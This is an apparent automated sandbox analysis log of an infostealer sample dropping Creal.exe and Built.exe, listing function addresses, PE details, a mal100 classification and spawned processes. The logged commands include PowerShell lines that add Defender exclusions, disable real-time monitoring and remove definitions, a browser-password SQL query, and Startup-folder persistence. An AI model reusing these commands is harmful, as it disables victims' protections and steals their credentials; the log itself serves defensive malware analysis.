Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A34810	5_2_00007FFD89A34810
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A345C0	5_2_00007FFD89A345C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A42490	5_2_00007FFD89A42490
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A41D70	5_2_00007FFD89A41D70
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A41FE0	5_2_00007FFD89A41FE0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A429B0	5_2_00007FFD89A429B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A42EB0	5_2_00007FFD89A42EB0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A43520	5_2_00007FFD89A43520
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A51D30	5_2_00007FFD89A51D30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A52120	5_2_00007FFD89A52120
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A61F00	5_2_00007FFD89A61F00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A621E0	5_2_00007FFD89A621E0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A81F80	5_2_00007FFD89A81F80
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A92380	5_2_00007FFD89A92380
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A92270	5_2_00007FFD89A92270
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89A91D30	5_2_00007FFD89A91D30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AA2280	5_2_00007FFD89AA2280
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AA1D30	5_2_00007FFD89AA1D30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AB2150	5_2_00007FFD89AB2150
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AC1FE0	5_2_00007FFD89AC1FE0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89AE2230	5_2_00007FFD89AE2230
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89D81950	5_2_00007FFD89D81950
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89D81300	5_2_00007FFD89D81300
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD89D82270	5_2_00007FFD89D82270
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0F4C70	5_2_00007FFD8A0F4C70
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0892B0	5_2_00007FFD8A0892B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A092250	5_2_00007FFD8A092250
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0DBB00	5_2_00007FFD8A0DBB00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0D4B20	5_2_00007FFD8A0D4B20
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0C6B40	5_2_00007FFD8A0C6B40
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A079B90	5_2_00007FFD8A079B90
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A073C10	5_2_00007FFD8A073C10
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A122BF0	5_2_00007FFD8A122BF0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0ACC59	5_2_00007FFD8A0ACC59
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A08CC40	5_2_00007FFD8A08CC40
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0CCC40	5_2_00007FFD8A0CCC40
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A07288E	5_2_00007FFD8A07288E
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0B5880	5_2_00007FFD8A0B5880
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A07A8C0	5_2_00007FFD8A07A8C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A086930	5_2_00007FFD8A086930
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0D2950	5_2_00007FFD8A0D2950
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0999A0	5_2_00007FFD8A0999A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A07FA10	5_2_00007FFD8A07FA10
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0B4E70	5_2_00007FFD8A0B4E70
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A10CEA0	5_2_00007FFD8A10CEA0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0ECF30	5_2_00007FFD8A0ECF30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A124FC0	5_2_00007FFD8A124FC0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0FBFC0	5_2_00007FFD8A0FBFC0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A098020	5_2_00007FFD8A098020
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A097040	5_2_00007FFD8A097040
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A108C80	5_2_00007FFD8A108C80
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0FACA0	5_2_00007FFD8A0FACA0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0CBCC0	5_2_00007FFD8A0CBCC0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0C0CE0	5_2_00007FFD8A0C0CE0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A089D00	5_2_00007FFD8A089D00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A07BD30	5_2_00007FFD8A07BD30
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A09DDB0	5_2_00007FFD8A09DDB0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A080DC0	5_2_00007FFD8A080DC0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A08D2B0	5_2_00007FFD8A08D2B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0BF2D0	5_2_00007FFD8A0BF2D0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1342B0	5_2_00007FFD8A1342B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A09F2F0	5_2_00007FFD8A09F2F0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0732F5	5_2_00007FFD8A0732F5
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A09D310	5_2_00007FFD8A09D310
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0FA300	5_2_00007FFD8A0FA300
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A077336	5_2_00007FFD8A077336
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0D7350	5_2_00007FFD8A0D7350
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A08C380	5_2_00007FFD8A08C380
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0E43B0	5_2_00007FFD8A0E43B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A074120	5_2_00007FFD8A074120
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0821E0	5_2_00007FFD8A0821E0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0CE670	5_2_00007FFD8A0CE670
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0D06C0	5_2_00007FFD8A0D06C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0E7750	5_2_00007FFD8A0E7750
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0E27E6	5_2_00007FFD8A0E27E6
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A074820	5_2_00007FFD8A074820
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0DC840	5_2_00007FFD8A0DC840
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1154A0	5_2_00007FFD8A1154A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0794D0	5_2_00007FFD8A0794D0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0BA510	5_2_00007FFD8A0BA510
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A074570	5_2_00007FFD8A074570
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0CB5B0	5_2_00007FFD8A0CB5B0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0A15A0	5_2_00007FFD8A0A15A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0945A0	5_2_00007FFD8A0945A0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A09E5C0	5_2_00007FFD8A09E5C0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A083650	5_2_00007FFD8A083650
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A1F7748	5_2_00007FFD8A1F7748
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF22617	5_2_00007FFD8AF22617
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21A0F	5_2_00007FFD8AF21A0F
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21618	5_2_00007FFD8AF21618
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF98870	5_2_00007FFD8AF98870
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF58920	5_2_00007FFD8AF58920
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21EE2	5_2_00007FFD8AF21EE2
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2117C	5_2_00007FFD8AF2117C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21B54	5_2_00007FFD8AF21B54
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF9AC80	5_2_00007FFD8AF9AC80
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2149C	5_2_00007FFD8AF2149C
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21CBC	5_2_00007FFD8AF21CBC
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21D93	5_2_00007FFD8AF21D93
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2116D	5_2_00007FFD8AF2116D
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF28720	5_2_00007FFD8AF28720
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF216FE	5_2_00007FFD8AF216FE
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF2155A	5_2_00007FFD8AF2155A
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF65C00	5_2_00007FFD8AF65C00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF69A60	5_2_00007FFD8AF69A60
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF4BAE0	5_2_00007FFD8AF4BAE0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF6D980	5_2_00007FFD8AF6D980
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21596	5_2_00007FFD8AF21596
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF221C6	5_2_00007FFD8AF221C6
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF213DE	5_2_00007FFD8AF213DE
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21654	5_2_00007FFD8AF21654
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF46030	5_2_00007FFD8AF46030
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21546	5_2_00007FFD8AF21546
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21AD7	5_2_00007FFD8AF21AD7
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF221E4	5_2_00007FFD8AF221E4
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21FDC	5_2_00007FFD8AF21FDC
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF6DE50	5_2_00007FFD8AF6DE50
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF8D2D0	5_2_00007FFD8AF8D2D0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF217F8	5_2_00007FFD8AF217F8
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF224DC	5_2_00007FFD8AF224DC
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF22702	5_2_00007FFD8AF22702
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF93650	5_2_00007FFD8AF93650
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF21C12	5_2_00007FFD8AF21C12
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A265CBC	5_2_00007FFD9A265CBC
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A2654E8	5_2_00007FFD9A2654E8
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A268734	5_2_00007FFD9A268734
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9A26BF74	5_2_00007FFD9A26BF74
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DA27950	5_2_00007FFD9DA27950
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DA27D29	5_2_00007FFD9DA27D29
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB54650	5_2_00007FFD9DB54650
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB51A00	5_2_00007FFD9DB51A00
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB555D0	5_2_00007FFD9DB555D0
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB51920	5_2_00007FFD9DB51920
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD9DB5F534	5_2_00007FFD9DB5F534

Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD93591325 appears 518 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD9360D425 appears 48 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FF65E282910 appears 34 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FF65E282710 appears 104 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFDA342A490 appears 156 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD9360D32F appears 324 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFDA33EDB38 appears 46 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD9360DB03 appears 45 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFDA3429330 appears 119 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD9360D33B appears 39 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFDA33EDC68 appears 68 times
Source: C:\Users\user\Desktop\Built.exe	Code function: String function: 00007FFD9360D341 appears 1189 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF9D425 appears 48 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF9D32F appears 327 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF9DB03 appears 45 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF9D33B appears 43 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF9D341 appears 1198 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FF6D9242910 appears 34 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8AF21325 appears 472 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8A079340 appears 135 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8A07A500 appears 163 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FF6D9242710 appears 104 times
Source: C:\Users\user\Desktop\Creal.exe	Code function: String function: 00007FFD8A0A1E20 appears 33 times

Source: unicodedata.pyd.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: rar.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.24.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.24.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.24.dr	Static PE information: No import functions for PE file found
Source: python3.dll.2.dr	Static PE information: No import functions for PE file found

Source: libcrypto-3.dll.3.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9991990186771459
Source: libssl-3.dll.3.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923211348684211
Source: python312.dll.3.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993225025765606
Source: sqlite3.dll.3.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9973947832661291
Source: unicodedata.pyd.3.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9935825892857143

Source: classification engine

Classification label: mal100.troj.adwa.spyw.evad.winEXE@45/226@6/6

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF606383BF8 GetLastError,FormatMessageW,LocalFree,

0_2_00007FF606383BF8

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Code function: 0_2_00007FF60639C260 FindResourceExW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00007FF60639C260

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

File created: C:\Users\user\Desktop\__tmp_rar_sfx_access_check_5019218

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3224:120:WilError_03
Source: C:\Users\user\Desktop\Built.exe	Mutant created: \Sessions\1\BaseNamedObjects\Z
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6236:120:WilError_03

Source: C:\Users\user\Desktop\Creal.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI56762

Jump to behavior

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Creal.exe, 00000005.00000002.2425292105.00000203E8110000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT action_url, username_value, password_value FROM logins;
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp, Creal.exe	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Built.exe, Built.exe, 00000004.00000002.2198401846.00007FFDA3421000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

ReversingLabs: Detection: 31%

Source: Built.exe	String found in binary or memory: id-cmc-addExtensions
Source: Built.exe	String found in binary or memory: set-addPolicy
Source: Built.exe	String found in binary or memory: can't send non-None value to a just-started coroutine
Source: Built.exe	String found in binary or memory: --help
Source: Built.exe	String found in binary or memory: --help
Source: Built.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: Built.exe	String found in binary or memory: can't send non-None value to a just-started async generator
Source: Built.exe	String found in binary or memory: OINT: if this variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice. These variables have equivalent command-line options (see --help for details): PYTHONDEBUG
Source: Built.exe	String found in binary or memory: OINT: if this variable is set to 0, it disables the default debugger. It can be set to the callable of your debugger of choice. These variables have equivalent command-line options (see --help for details): PYTHONDEBUG

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

File read: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe "C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe"
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'"
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
